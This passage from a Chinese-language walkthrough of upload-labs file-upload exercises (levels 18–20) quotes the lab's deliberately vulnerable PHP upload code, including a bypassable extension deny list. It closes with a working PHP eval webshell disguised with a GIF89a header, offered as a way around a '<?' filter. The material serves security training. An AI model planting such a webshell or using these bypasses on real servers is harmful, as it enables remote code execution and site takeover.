   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

一样的手法，只是说你需要去把母狼马改成图片母狼马
参考文献
https://blog.csdn.net/mooyuan/article/details/147629876

level 19

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

感觉这篇讲的已经很好了，我没有什么要补充的了
https://blog.csdn.net/mooyuan/article/details/147607353

level 20

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$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件！";
}

https://blog.csdn.net/mooyuan/article/details/147613425

补充

文件上传中<?被禁

这个时候传一个html类文件即可，内容如下(也可以打包成图片来传)

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GIF89a
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>

如此即可绕过

.user.ini

相关漏洞以及payload在之前的suctf 2019的题目解析中已经说明